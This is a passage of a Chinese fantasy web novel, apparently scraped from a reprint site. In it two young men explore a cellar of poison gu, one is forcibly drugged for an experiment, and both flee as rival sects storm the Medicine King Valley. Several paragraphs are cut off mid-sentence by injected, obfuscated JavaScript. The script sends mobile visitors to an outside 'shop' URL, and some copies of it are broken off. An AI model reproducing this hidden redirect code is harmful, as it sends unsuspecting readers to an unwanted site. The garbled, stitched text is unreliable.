而身后的谢重楼,却像是听懂了方才的所有对话,被他握得死紧的手轻轻捏了捏他的手背,语气竟带着几分轻松,宽慰道:“我不会死的!师傅说我不会死的!我还能救人呢!” 这话像一把钝刀,狠狠割在祁云耀心上,让他的内心愈发千疮百孔——谢重楼什么都不知道,只信灵枢的话,可他哪里知道,灵枢才是一直在骗他的人。 然而不等祁云耀开口说些什么,地上的花秽芳忽然传来一丝极细微的动静。 只见他胸口微微起伏,缓缓吐出一口带着血沫的气,接着,枯瘦如爪的双手撑在满是血污的青石板上,整个人像只濒死的鬼魅,艰难地匍匐着、蠕动着,一点一点挪到祁云耀的脚边,用尽最后一丝力气,死死抓住了他的裤脚,气若游丝的声音断断续续传来:“别走……别……” 不等他说完,便猛地弓起身子,呕出一大口黑血,尽数喷在祁云耀的鞋面上,抓着裤脚的手无力垂下,花秽芳彻底死了过去,再没了气息。 祁云耀倒抽一口冷气,猛地抬脚,从他的手边挣脱出来,鞋面上的血渍黏腻冰冷,让他浑身发寒。 他立在原地,心情复杂到了极点,后背一阵一阵地发毛,心脏狂跳不止,胸口闷得厉害,像是压了一块巨石,连呼吸都觉得沉重。 而那些堵在回廊的人偶,在花秽芳彻底失去意识的下一瞬,眼中的空洞尽数褪去,瞬间恢复了往日的灵动。 “啊啊啊!大人怎么变成这样啦!大人回来会心疼大人的!”灵小一尖着嗓子惊叫着跑过来,眼眶瞬间红了。其余几个人偶也立刻反应过来,手忙脚乱地跑去搬来担架,七手八脚地要把花秽芳抬走。 几人抬着担架路过祁云耀和谢重楼身边时,脚步微微一顿,灵小一睁着一双亮晶晶、水汪汪的眸子,语气软糯地询问:“病人们要出去吗?别出去太远哦!大人们现在都不在,万一到时候出事了,就不好啦!” 说完,他们也不等祁云耀回应,蹦蹦跳跳地把烂成一滩的花秽芳小心挪到担架上,然后几个人抬着担架,一摇一晃地慢慢拖走了,嘴里还小声念叨着要去给花秽芳上药疗伤。 廊下瞬间又恢复了安静,只剩祁云耀和谢重楼两人。 “哈——”祁云耀长长地舒出一口气,浑身的力气像是被抽干了一般,无力地靠在廊柱上,暂时松开了谢重楼的手,双手在脸上用力搓了几下,最后捂住自己的脑袋,声音里满是崩溃与茫然,“这都是什么啊!” 谢重楼站在一旁,歪着头看了看地上残留的血渍和焦黑的碎发,又蹲下身,捡起一小块被天雷劈落的、焦黑的皮肉,捏在指尖看了半晌,然后抬起头,认认真真地对祁云耀说:“这是花长老。” “啊啊啊!”祁云耀一把拍开谢重楼捏在指尖的脏东西,崩溃大叫。 48. 毒血 最后祁云耀还是拉着谢重楼折了回去,而在回去路上,他们撞见了不知为何脱离大部队的一对小六人偶,灵小六和花小六肩抵着肩,正小声嘀咕着什么。 他伸手叫住二人,沉声问:“花秽芳多久能恢复?” 灵小六腼腆地弯了弯眼,歪着头晃脑思索片刻,脆生生道:“大人应该今晚就能走动啦!” 花小六则是小眉头一皱,语气十分肯定:“大人明日就可以痊愈啦!” 闻言祁云耀心里又是一惊。花秽芳的恢复能力实在太过诡异,即便连他自己都说不清自身究竟是何存在,天道规则明明在针对他,降下天雷惩戒,却又始终留着分寸,既给了教训,又不曾真正伤其根本。 就像是——面对胡闹的孩子,大人只是轻轻打几下屁股以示惩戒,从不会真的下狠手。 心底那股说不清道不明的微妙之感愈发强烈,他沉沉点头表示知晓,便重新握住谢重楼的手,折回了自己暂住的小院。 推门进屋,祁云耀先将身侧的诉心卸下,靠在桌角,又转身将沾了花秽芳黑血的衣鞋尽数换下,随手扔在一旁的木盆里。 他换衣时,谢重楼就蹲在一旁,黑黝黝的眼睛一眨不眨地看着,光明正大,毫无避讳。 两人竟都没觉得半分不妥——从前年少时便是这般模样,朝夕相处,早已习以为常。 祁云耀刚将衣带系好,身边的谢重楼便仰起头,轻声问:“不走了吗?” “不走了,再等几天。”祁云耀应声,旋即皱着眉,伸手捉过谢重楼的手腕,将他那只方才抓过花秽芳碎块的爪子按进先前回来时打满的清水里,略带嫌恶却又小心仔细地搓洗着他的指缝。洗到一半,目光瞥见他手腕上重新包扎过的绷带,语气里难得带上些心疼,低声问: “灵枢伤害你的时候,你不疼吗?” “伤害?”谢重楼不明就里地抬头,黑眸里满是茫然。 “你的手腕。”祁云耀抽过一旁干净的布巾,细细擦去他手上的水,语气沉了几分,“他割开你手腕的时候,你不疼吗?” “不是师傅割的。”谢重楼立刻摇头,语气无比认真,“是我自己割开的!” “什么?”祁云耀正端着水盆准备倒水,动作猛地一顿,猛地回过头,不敢置信地追问:“你自己割的?!” “对啊!”谢重楼点点头,一脸坦然地解释,“师傅说有一个病人病得快死了,而我可以救他!所以我需要每隔十日放血,去救那个病人。不过现在好啦!我不用再放血了!” 祁云耀闻言,彻底将铜盆搁在地上,几步折返回来,目光凌厉地盯着他,心底翻涌着惊涛骇浪,满心期待着他接下来的话。 只见谢重楼眼尾弯起,语气里满是雀跃与高兴,一字一句道: “因为,他已经好得要死啦!” “好得——要死了?”祁云耀盯着谢重楼认真的神情,实在没弄懂这矛盾的几个字怎么会凑在一起,语气里满是费解。 谢重楼重重点头,无比笃定:“师傅亲口说的,说我以后不用再呆在药谷了,要赶我走呢!还说就是因为我的病人已经好得要死了,所以我可以放心离开啦。” “他让你离开?”祁云耀眉峰挑得更高,心底翻起惊涛骇浪,不敢置信地反问。 “嗯!师傅说你迟早要走的,让我跟着你走,还说以后你就是我的病人,医师要跟着病人走的。” 祁云耀心口一紧,指尖下意识攥住他的手指,沉声追问:“那你知道你之前的病人是谁吗?” “不知道。”谢重楼摇摇头,“师傅说他长得太丑了,我见了要做噩梦,就没让我见。不过师傅说因为我的血有毒直接给他的话会毒死他,所以血里面要加解毒药,给他放的药都是我亲手配的。” “配药?”祁云耀心头的疑云更重: 谢重楼的那位病人,十有八九就是谢长泽,谢长泽好得要死了究竟是什么意思?究竟是好了还是要死了? 而且灵枢似乎在刻意地阻止谢重楼和谢长泽见面,还有毒血和配药又是什么—— 不过灵枢满口鬼话,之前说的托孤就是骗人的,那他对谢重楼说的话也不一定就是真的…… “你很好奇吗?” 思考间,谢重楼悄悄凑到他耳边,声音压得低低的,像偷藏了什么秘密,眼底闪着狡黠,“我可以偷偷带你去看配药的地方,但是你不能给花长老看哦!师傅说那个地方一定要看住,不能让花长老进去,可他没说不能让别人进去,那应该就是别人能进去的意思吧?你之前也是这么跟我说的,对吧?” 祁云耀看着他眼底的雀跃,想起之前自己跟他说的歪理,心口软了一瞬,随即重重点头,语气斩钉截铁:“对。” 他手指勾了勾谢重楼的手指,头一歪靠在了谢重楼肩膀,道:“带我去看看吧。” 两人去的地方,正是此前见过的东峰小院偏房里的那处地窖。 顺着漆黑幽暗的狭窄楼梯往下走了数百阶,前方才似乎变得开朗,只是依旧沉在浓黑里,只是周遭的气息变了——透露出一股潮湿的霉味,耳边不时传来窸窸窣窣的声响,在死寂的黑暗里荡开,显得尤为骇人。 “你等我一下。”谢重楼的声音轻轻的,先用力握了握祁云耀的手心,旋即抽身离开。他的脚步落在地面上,发出滴滴嗒嗒的轻响,竟撞出层层回音,可见这窖底,究竟是个怎样偌大的空间。 没过几息,身后忽然传来“啪嗒”一声轻响。 下一瞬,四壁石壁上挂着的吊烛陡然齐齐亮起,跳跃的烛火驱散了黑暗,照亮了眼前这方天地。 这是个和西峰大厅形制相似的空间,明明藏于地底,四周却立着数根粗壮大石柱,柱身盘桓着繁复的龙纹雕刻,苍劲有力。 左右两侧则排着十几个大大小小的木架,先前谢重楼抱下来的那些罐子,尽数摆放在架上,只是罐口的封口全被撕开,有些漆黑的影子在罐口和柜子里影影绰绰地穿梭。 祁云耀定睛细看,心头一紧——每个木架的柜子里,竟都爬满了虫子与毒蛇。 怪的是,每个柜子里只有唯一的动物尚有活力,其余都一动不动,僵在原地,早已没了生气。而那唯一存活的,正支着一双双幽冷的眸子,目光灼灼地盯着闯入的两人,森冷的视线扫过,祁云耀后背瞬间窜起一层寒意,连忙移开了视线。 待他将目光转向前方,心头又是狠狠一震。 他们面前,立着三座巨大的神像,高约四五米,在烛火下透着庄严肃穆的气息,压得人喘不过气。 不同于西峰随处可见的小巧神像,东峰窖底的这几尊,个个雕琢得栩栩如生。中间那座,是个长相清秀的青衣女子,身后与怀中都捧着一截虬曲的树枝,祁云耀认不出树种,却忽然想起关于药王谷的传说:药王谷最初本是某只大妖王的门派,而那只大妖王的原形,好像就是一棵树。 女子左侧的神像,是一只盘桓在飞溅水波里的巨龟,龟背之上,坐着个戴着兜帽的小孩,兜帽遮了大半张脸,看不出男女,更辨不出模样,祁云耀瞧着,竟觉出几分诡异。 目光再转向女子右侧,他又是一惊。 他原以为只有三座神像,实则该算四座——右侧那座,看似一尊,实则是两个人相拥而立,只因身后之人从环腰将前方人紧紧抱住,两人贴得极近,姿态暧昧缠绵,连衣摆都缠在一起,祁云耀才第一眼没看出,这竟是一座双人神像。 被环抱着的人面容艳丽,雌雄莫辨,眉眼间带着几分慵懒的妖异,一身华丽的珠宝饰品从肩头垂落,逶迤拖到地面,流光溢彩;而他身后之人,衣着则朴素得多,一身白,身形挺拔,眉眼冷硬,像只护着珍宝的恶犬,目光沉沉地落在怀中之人身上,满是贪婪与密不透风的占有,连手掌扣在对方腰侧的力道,都雕琢得入木三分。 不等祁云耀从这震憾中回过神,谢重楼已抬脚往前迈了几步,在神像前恭恭敬敬地拜了三拜,拜完后又回头拉了拉祁云耀的衣袖,轻声道:“师傅说每次进来都要祭拜四位祖先,祖先会保佑我们的。” 说着,他从左往右,一一指着神像介绍:“这位是玄灵长老,这位是素问仙子,另外一位——” 他先点了点那座双人神像里被抱着的艳丽身影,认认真真道:“这是灵王瞳君,后面那位师傅没说名字,应该是药王谷中曾经的某个长老吧。” 两人又对着四尊神像虔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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祁云耀惊魂未定,谢重楼却面色如常,甚至还扯出一抹浅淡的笑意:“我刚才就看见少了一条蛇,猜到它逃出来了,本来还怕它咬你,结果还是冲我来的。” 他说着,走到桌边,从杂物里翻出一把锋利短刀,手起刀落,利落剖开黑蛇腹身。随即捞过桌上那只小一点的罐子,飞快掀开盖子,将死透的黑蛇塞进去,再“啪”地盖好,放回原位。 一套动作熟练流畅,看得祁云耀眉峰一挑。 不等他发问,谢重楼已主动解释:“这个是师傅教我做的,你看——” 他摸出火折子点亮,火光骤亮的瞬间,才惊觉,这根本不是黑罐,而是一只通体透明的水晶罐,唯有强光照射,才会显露出剔透原貌。 罐里养着三只指甲盖大小的小虫,黑蛇尸体一落进去,小虫立刻疯扑而上,死死钉在比自身大十几倍的猎物上。它们的口齿锋利得骇人,不过几息,黑蛇便只剩一副惨白骨架;小虫仍不罢休,朝骨头喷出透明口液,白骨瞬间滋滋冒起白烟,被它们细细啃食殆尽。 全程几乎无声,可祁云耀却像听见了小虫朵颐的欢快声响,尾椎直窜上一股寒意,头皮发麻,下意识撇开了头。 “它们就是解药。”谢重楼眼神认真,对这一幕早已习以为常,还伸出手指轻轻敲了敲罐壁,吓得小虫疯狂逃窜,“捉一只碾碎,混进我的血里,血就不会有毒了。” 他皱了皱眉,又转着罐子敲了敲,小虫又是一阵疯躲。 “不过它们一点都不亲人。” 谢重楼嘟囔一句,把小罐放回桌面,转而抱起那只稍大的罐子。 火折子凑近的刹那,祁云耀浑身汗毛瞬间炸起,心脏猛地一缩。 罐里盘着一条似蛇非蛇的怪物。 它身上没有正常鳞片,取而代之的是密密麻麻、不停蠕动的黑虫;脑袋更是没了,只剩一个黑漆漆的血窟窿,黑虫在里面不停爬进爬出。 可这条怪物明明没有头颅,却还活着。 察觉到两人的视线,它猛地一扭,虫身疯狂攒动,竟直直竖了起来,对着二人微微弓起。最后,整条“蛇”狠狠贴在罐壁上,那个血窟窿精准对准谢重楼手指的位置,亲昵地蹭了蹭,当场碾碎了几只来不及逃开的黑虫。 祁云耀吓得后跳一步,但谢重楼却全然不惧,眼神温柔,语气轻快:“他也比他们亲人多了!不过最喜欢我的应该还是白白。” 49. 将死 两人没在地窖多留,顺着石阶往上走,祁云耀攥着谢重楼的手紧了紧,终究还是忍不住开口问他:“大罐子里的到底是什么?” “是师傅做的‘药’。” 谢重楼仰起头,语气认真,“他身体经常不好,没法喂药的时候,都是我帮他喂的。” “灵枢在骗你,那根本不是正常的药。”祁云耀下意识反驳,话出口又怕他听不懂,放缓了语气,“那种东西一看就诡异得很,怎么可能是治病的药?灵枢更不可能拿那种东西给自己用。” “我亲眼看见的啊!”谢重楼语气笃定,“它的蛇头,就是被师傅吃掉的!我的血有毒,要加‘药’才能解,师傅说他也中了毒,也要用这个‘药’来解。” 祁云耀彻底沉默了。 他攥着谢重楼的手,一步步往西峰走,心底翻江倒海。最初的念头是灵枢在暗地给谢长泽下毒,可转念一想便推翻——若只是下毒,何必对自己也下手? 那两个罐子装的,或许真的是某种“药”,可究竟是什么?是救人,还是害人? 他绕着弯子问了好几遍,谢重楼都讲不明白,显然灵枢从一开始就没对他说过实话。 现在最迫切的,就是弄清楚罐子里的东西到底是什么,是药,还是毒。 两人出来不过两三个时辰,刚踏入西峰地界,便看见花秽芳已经拄着拐杖等在廊下。 他又变回了少年模样,这回身形更小,约莫只有五六岁,整个人佝偻着,几乎把全部重心都压在拐杖上,脸色苍白得近乎透明。 阿芳、阿枢们不知去了何处,只有寥寥几个小枢、小芳跟在他身边,眼神却又变回了先前堵在回廊时的模样——死寂空洞,直勾勾盯着来人,没有半分生气。 “跟我走吧。”花秽芳抬眼看向祁云耀,声音气若游丝,脚步虚浮得仿佛风一吹就倒,“只要两天,两天后,你们就可以走了。” 他转头,对身后人偶淡淡吩咐:“把谢重楼带走,实验结束再带回来。” 祁云耀心头一紧,正要开口安抚,想办法把人哄走,谢重楼却出奇地乖顺,安安静静地什么都不问也不纠缠,脚步一转就要跟着花小一走。 祁云耀猛地攥住他的手腕,指节用力,生怕花秽芳对他动了什么手脚。可等谢重楼转过身,他却微微一怔——那双眼睛清明透亮,神色正常,半点没有被操控的呆滞,反倒带着几分不解,似乎不明白他为什么突然这么紧张。 谢重楼眼珠轻轻转了转,看着他紧绷的侧脸,忽然绽出一个浅软的笑,另一只手轻轻搭在祁云耀的手背上,笨拙地拍了拍:“别害怕,我一会就能来陪着你了。” 说完,他轻轻将祁云耀的手从自己手腕上抚下,动作温柔,转头便跟着花小一,安安静静地离开了。 祁云耀站在原地,指尖还残留着他掌心的温度,心头莫名。 “灵枢跟他说了很多事,他知道自己该做什么。”花秽芳缓缓开口,气息微弱,每走一步都晃悠,“走吧,早点做完该做的,你们还能早点见面。” 祁云耀深吸一口气,压下心底的纷乱,垂眸看向眼前这个小小少年模样的花秽芳,沉声道:“你知道灵枢在做些什么事?” 依旧是问句,但语气却是笃定的。祁云耀认为花秽芳大概是知道一点灵枢在做什么的,不然也不会放任他这么久。但出乎意料的,花秽芳语气淡淡: “不知道,我知道的东西说不定还没你多呢!” 他说完,惨淡地扯出一抹笑,自嘲般抬手指了指头顶的天空:“我身上的禁制太多,消息只能一点点去查。这几十年又忙着做实验,哪里有空去查他到底在谋划什么?不过也能猜到皮毛——无非是想弄死我,或是报复我罢了。” 说话间,两人已走到实验房。祁云耀被花秽芳引着躺上那张实验小床,进门时他特意扫过地面,门前那一大滩血迹早已被擦得干干净净,灵枢先前用过的床品也全换成了新的,这才勉强压下心底那阵发毛的异样,乖乖躺了上去。 花秽芳背对着他,在一排柜子前鼓捣着什么。 望着那通体漆黑的瘦小背影,祁云耀脑海里不由自主又蹦出地窖里那只诡异的怪物,忍不住开口: “你知道一种东西吗?看着像蛇,又不是蛇,鳞片全是蠕动的黑虫,连脑袋都是个血窟窿……” “从哪儿知道的?谢重楼告诉你的?”花秽芳没有回头,语气不同于以往,虚弱至极,“那是毒蛊,药王谷祖传的杀人的东西。你知道便知道了,别往外说,不然灵枢会先杀了你。” “这样啊——”祁云耀本想追问,话到嘴边却转了弯。他支着下巴,盯着那道小小的身影,状似无辜地歪头:“你到底在做什么实验?反正都被雷劈成这样了,不如透点底?还有,为什么四个月内不能双修?” 即便躲在密室最深处,屋外隐隐的闷雷依旧穿透墙壁,沉闷地钻入耳膜,像是压在人心头的鼓。 花秽芳提着几支药瓶转过身,脸上勾起那副似笑非笑的神情,眼底却没半分暖意:“四个月后会发生一件大事,我大概率会死。所以我要找出一个法子——就算我死了,灵枢也能活下去。” “哦——情种啊。” 祁云耀把当初花秽芳打趣他的话原封不动丢了回去,花秽芳不置可否,只垂眸摆弄着手里的器具。 可下一秒,祁云耀轻飘飘一句话,像一记重锤狠狠砸在他头上。 “灵枢要死了?” 是问句,语气却怪得让人发毛。 花秽芳的手猛地一顿,手里的瓷瓶差点摔落在地。他踉跄着稳住身形,脸上的平静瞬间龟裂,眼底腾地燃起暴怒,刚要张口呵斥,就听见祁云耀幽幽继续道: “重楼说,他亲眼看见灵枢在吃那只毒蛊。照这样看,他还有多久可活?” 室内陷入死寂般的沉默。 花秽芳僵在原地一动不动,脑中似在思考,直至过了很久,他才缓缓吐出一口浊气。下一秒,脸上竟奇异般绽开一抹笑——不是强颜欢笑,不是平日那副似笑非笑的伪装,而是真心实意、如蒙大赦的笑,甜蜜又缱绻,温柔得近乎诡异。 祁云耀眉头狠狠一挑,心里暗道这人莫不是被刺激疯了。 “我也会救他的,我也不会死,我们会在一起生生世世。” 花秽芳轻飘飘结束了这个话题,转身将药瓶在桌沿摆开,伸手拿起粗绳,不由分说便将祁云耀牢牢绑在实验床上,捆得他动弹不得。祁云耀全程注意力都粘在他那张诡异的笑脸上,直到四肢被勒得发紧,才猛地回过神,心头一震。 他怕自己刚才的话刺激太甚,让花秽芳走火入魔,要拉着所有人给灵枢陪葬。 可慌乱的质问还没出口,花秽芳已强硬地将调配好的药剂灌进他嘴里。 药液滚烫刺鼻,祁云耀呛得剧烈咳嗽,拼命挣扎。这药和从前那些一饮便睡的药剂截然不同,顺着喉咙滚入胃里,所过之处燃起炽热的灼烧感,像有火蛇在五脏六腑里窜动。 剧痛瞬间席卷全身,他浑身抽搐,手脚被缚却半点挣脱不得,冷汗瞬间浸透衣料。 “你给我喝的是什么!喂——!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343529|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >祁云耀痛得嘶吼,满头大汗顺着额角流进眼里,模糊了视线。他只能看见花秽芳小小的身影摇摇晃晃走远,渐渐消失在门口。 意识没有沉沦,却被剧痛死死按在黑暗里,清醒地承受着每一寸灼烧。头痛欲裂,浑身像被泡在滚水里,又像被万千虫蚁啃噬,他陷在半梦半醒的幻境里,明明没睡着,却能清晰感知周遭的一切。 不知过了多久,有人轻轻推开房门,脚步放得极轻。似乎有人在低声说话,声音模糊得听不真切,只觉得耳熟。 一只手拿起湿布,轻轻擦过他汗湿的脸颊与脖颈,手法生疏又笨拙,擦得轻轻重重,时不时还会顿一下,像是在思索下一步该做什么。 可渐渐地,多擦拭几次过后,那动作变得熟练、沉稳、温柔。 祁云耀混沌的脑子里猛地炸开一段记忆—— 他和谢重楼最初在西门的时候,谢重楼刚开始给他换药,好像就是这样小心翼翼,却又毛毛躁躁,每次都大张旗鼓郑重其事的,但是每次不是弄疼他了就是会打翻药剂药罐,总之次次都弄得想在里面打过仗似的,让两人都煎熬不已;可到后来,他就熟练得不像话,哪怕自己发脾气不配合,也能安安稳稳把药换好。 于是他即便闭着眼,五感混沌也能知晓这人是谁。 是谢重楼,是他又来照顾自己了。 不知道究竟昏睡了多久,意识沉浮不定,像一叶在惊涛里漂泊的孤舟,抓不住半分依靠。眼皮重似千斤,只在无意识辗转时,才勉强掀开一条细缝,透过那点微光窥视外界。 入目,永远是一道守在床边的身影,时站时坐,安安静静,从不离寸步。 那人总能在第一时间察觉到他微末的清醒,可再多留意也无济于事——几乎在下一瞬,祁云耀便又被那蚀骨的热浪吞噬,重新坠回混沌。 五脏六腑像是被架在火上慢慢烘烤,由内而外的水分一点点被抽干,一股邪火自小腹窜起,一路灼烧,仿佛要将他整个人都烧成灰烬。 他却连抬手的力气都没有,只能日复一日煎熬在这炼狱般的痛楚里。 脑海深处,始终萦绕着一道昏沉悠远的声音,古老而缥缈。朦胧中,一道立着的金色光影缓缓走到他面前,指尖带着虚幻的暖意,轻声诱哄: “和我走吧,我带你去别处,那里没有痛苦,只有极乐。” 祁云耀几乎每次都应下来,鬼使神差地,指尖就要朝那只手伸去。 可就在即将触碰的刹那,自己的手都会被另一双手轻轻握住。 微凉,却异常干燥安稳,牢牢扣住他快要涣散的骨头。 一道身影贴近耳畔,声音清淡,几乎没什么波澜,却十分悦耳,一字一句,清晰地撞进他混沌的意识里: “想要什么?难受吗?我再给你擦擦吧。” 微凉的触感稍纵即逝,取而代之的是一方湿润温热的布巾,轻轻覆在他滚烫的肌肤上。 皮肤在接触到水分的一瞬间,仿佛都在尖叫欢呼,贪婪地疯狂汲取,可不过刹那,便又被体内的烈焰吞噬殆尽。那只熟悉的手再次塞进他掌心,轻轻攥了攥。 那人低声说,语气平静又认真: “你快醒吧,醒来我们就该走了。” 醒过来?是啊,他该醒过来的。 当那道金色幻影再次浮现,温柔地朝他伸出手时,祁云耀没有再动摇。他微微摇头,用尽全身力气,轻轻开口: “我要醒过来,我要走了。” 话音落下的下一刻,奇迹般地—— 他缓缓睁开了眼。 50. 不喜 先映入眼帘的是熟悉的屋顶,然后是谢重楼骤然凑过来的脸。 他脸色不太好,眼下泛着淡淡的青黑,人也清瘦了一圈,一看便知在他昏睡的这几日里,压根没好好合过眼。 耳边潮水般的嗡鸣慢慢退去,谢重楼的嘴唇动了动,声音从模糊变得清晰,轻轻落在他心上: “……醒了,我很想你。” 祁云耀心头一软,勉强扯出个安抚的笑。可下一秒,耳边骤然炸开一阵尖锐到刺耳的爆哭—— “啊啊啊!病人醒了!快去叫大人!” “大人大人!病人醒啦!” 小芳、小枢们的尖叫几乎要掀翻屋顶,祁云耀耳膜一震,脑袋又嗡嗡作响。 没片刻功夫,花秽芳便推门走了进来。他已经恢复成十三四岁的模样,身形挺拔,连拐杖都不用了,步履稳健,看上去伤势早已痊愈。脸上挂着如沐春风的笑,可在进门的那一瞬,表情几不可查地僵了一下,很快又若无其事地走近。 他手里端着一碗浓稠的药汁。 说起来,这还是祁云耀第一次在药谷喝这种正经熬煮的汤药。往日花秽芳给他试的药,要么是冰冷的瓶中液体,要么是奇形怪状的药丸,再不就是拿针扎几下,这般温热的汤药,倒是头一遭。 谢重楼被他支了出去,这次却格外依依不舍,磨蹭了好一会儿,有些踌躇,眼睛在两人间胡乱的瞟,最后才在祁云耀轻声哄劝下离开。 祁云耀勉强直起身,浑身虚软乏力,连骨头缝里都透着麻意。 花秽芳竟难得好脾气,将药汤喂到他嘴边,不过整个过程,花秽芳的脸色似乎不大好看。 温热适口的药汁滑入喉间,一股暖流顺着四肢百骸缓缓散开,之前浑身的灼痛、酸胀、疲惫,竟在一瞬间尽数消散。 祁云耀眼睛一亮,刚想开口,却见花秽芳忽然打了个喷嚏,把碗放在桌上,自己拉了把椅子远远坐在对面,两人之间隔了老大一段距离,看得祁云耀心里直发疑。 但他此刻更关心实验的事,直截了当地问:“你的实验成功了?” “成功了。” 本该是欣喜的语气,花秽芳却莫名皱了皱眉,身子不自在地扭了一下,眼神盯着祁云耀,欲言又止。 “虽然有点偏差,你睡了三天,但也算成了。昏睡期间……有没有发生什么奇怪的事?比如,你最后是怎么醒过来的?” 祁云耀心头疑云更重,却没有隐瞒,把自己看见金色幻影,因为被谢重楼一次次握住手,才勉强稳住心神醒过来的事,一五一十说了。 花秽芳闻言,脸色猛地一沉,思索片刻,试探着开口,语气有些艰涩: “……他很危险。” 他说话时喉咙上下滚动,像是很难受,祁云耀却没留意,只顾着追问:“你们认识?” “算是吧,只是很久没见过了。” 花秽芳脸上的表情越发古怪,整张脸都皱了起来,喉间鼓动得更厉害,像是在拼命忍着什么。 祁云耀正要追问那金色幻影到底是谁,就见花秽芳猛地偏过头,再也憋不住—— “呕——!” 一声惊天地泣鬼神的干呕,响彻整个房间。 祁云耀:??? 花秽芳也知道失礼,可祁云耀这三天反复出汗、又被体温一遍遍烘干的味道,对他而言实在太过刺激。他想强撑着解释,可一张口,又是一阵剧烈的干呕。 看着祁云耀脸色一点点黑下来,连耳根都隐隐发红,花秽芳再也撑不住,忙不迭起身往外退,语气满是歉意,却又控制不住地反胃:“我稍后再……呕……再来找你!” 话音未落,人已经狼狈地夺门而出,只留下祁云耀一个人坐在床上,脸色黑一阵青一阵,彻底僵住。 门口忽的探进来一个毛茸茸的脑袋,谢重楼眼神微微飘忽,带着几分自责——他刚才压根就没走远,只是守在门边等着。 他仰起脸,脸上表情认真又郑重,一字一句地看着祁云耀说道:“其实我不觉得你很臭。” 祁云耀这个时候已经是羞愤欲死了,他后知后觉也闻到了自己身上那股闷了三天、反复被体温烘干的酸馊味道,可对上谢重楼那张一脸正色、半点不作伪的表情,只觉得更加羞臊难当,耳根都快要烧起来。 恰在此时,花小芳、灵小枢们抬着浴桶、拎着热水、抱着干净衣衫鱼贯而入,哗啦啦的水声和忙碌的身影,才终于终结了这场让祁云耀差点因为过度羞赧而直接晕倒的尴尬场面。 等他将自己里里外外全部收拾干净,花秽芳才姗姗来迟。不过这一回,谢重楼却是说什么都不肯走了,他倔强着一张小脸,语气里带着埋怨和固执,看着花秽芳道:“我走了你又说他臭怎么办?他很伤心,我不走。” 这话一落,在场的两人又被那尴尬又不太美好的回忆入侵了大脑,花秽芳嘴角抽了抽,祁云耀脸色又黑了几分,终究只能作罢,由着谢重楼留在屋里。 而花秽芳刚要开口说话,屋外的世界忽然传出一声震天巨响—— “轰!” 一声剧烈到极致的爆炸,整个药王谷似乎都狠狠抖了三抖,房梁上的灰簌簌落下,连窗棂门扉都在嗡嗡作响。 花秽芳面色骤然一变,祁云耀也在谢重楼小心翼翼的搀扶下立刻起身,三人快步走出屋外。 由于西峰地势最高,他们能够一眼看清远处山门方向的情况,只见那里已经围拢了千人,服饰各异,分属不同宗门,天上还飘着一辆由灵兽托举的华丽马车——是风幕卿的座驾! 山下的药王谷已然陷入了混乱,谷内弟子们全部慌慌张张地逃了出来,聚集在空旷的平地上,各个目光畏惧地盯着被结界牢牢阻拦在外的那群人。 而恰在此时,花阿一脸色惨白地冲了过来,语气焦急得都带上了哭腔:“大人!天盟地宗的人来了!” 又是轰的一声巨响,一枚积攒着巨大能量的光球从外面那群人的后方直直飞跃而来,轰然爆在药王谷的护谷结界上。光球爆裂开来的碎片砸落在站立在最前的几队人马上,却没有造成任何伤亡,而是在触及同伴的一瞬便化为了齑粉。看样子是天机阁的造物,专门用来攻击结界、不伤己方之人的利器。 “你们赶紧走!” 花秽芳当机立断,猛地转身,一边指挥花阿一去替二人收拾行李细软,一边带着谢重楼和祁云耀重新遁入屋内。他快步走到四周的柜子前,飞快翻找,很快摸出两瓶丹药递给祁云耀,语气急促:“这能压制你体内的炉鼎热,等寻到安全的机会,双修便能彻底解决隐患。” 说着他没管祁云耀乍一闻言而瞬间浮起的不自在与耳尖泛红,又继续翻找片刻,将仅剩一枚的丹药取了出来。 “从我当初带你来的那条道走,我会按照约定,之后去找你。” 说着,他不由分说,强硬地将那枚丹药塞进祁云耀嘴里。丹药入口瞬间便化作一股暖流,直接融进四肢百骸之中,他因为初醒而残留的疲乏与隐痛瞬间消失殆尽,浑身都充满了力气。祁云耀也知道事情紧急到不容半分耽搁,当即紧紧拽着谢重楼的手,便往外冲去。 花阿一已经先拿着他们的包袱先行一步离开了,他们只需要追上花阿一,然后让花阿一带路即可——毕竟当初花秽芳带他走那条小道上山的时候,可是绕了无数弯路,费了很大一番功夫,除了花秽芳,旁人或许根本找不到出入口。 而两人在奔出屋门前,余光瞥见花秽芳招来灵阿一、灵阿二,让二人飞快换上了他们二人曾经的衣物,随后他一手抓一个,当着阵前众人的面,故意大张旗鼓地跑了出去,摆明了是要以身做饵,引开所有追兵。 走出几里地,身后便传来轰的一声巨响——护谷结界碎了。 但是预想中的混乱喊杀声却没有传来,而是一阵机械却穿透力极强的声音,借着术法传遍了整个药王谷: “药王谷的弟子们不必惊慌!今日我等是奉命前来捉拿诡医花秽芳以及余孽谢重楼!诸位与此事无关,不必惊慌!” “花秽芳残害青云首徒尧云,收留叛门余孽谢重楼,甚至毒害青云掌门谢长泽!罄竹难书,罪不容诛!我等奉命捉拿罪人!请诸位弟子安分守己,切勿自误!” 话虽然是这么说,可身后的爆裂轰响却是连绵不绝,想来是花秽芳在不断地辗转逃窜,用自己的行踪吸引火力,为他们争取逃跑的时间。 思及此,祁云耀心头一紧,拉着谢重楼的脚步更快,几乎是运起轻功往前疾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 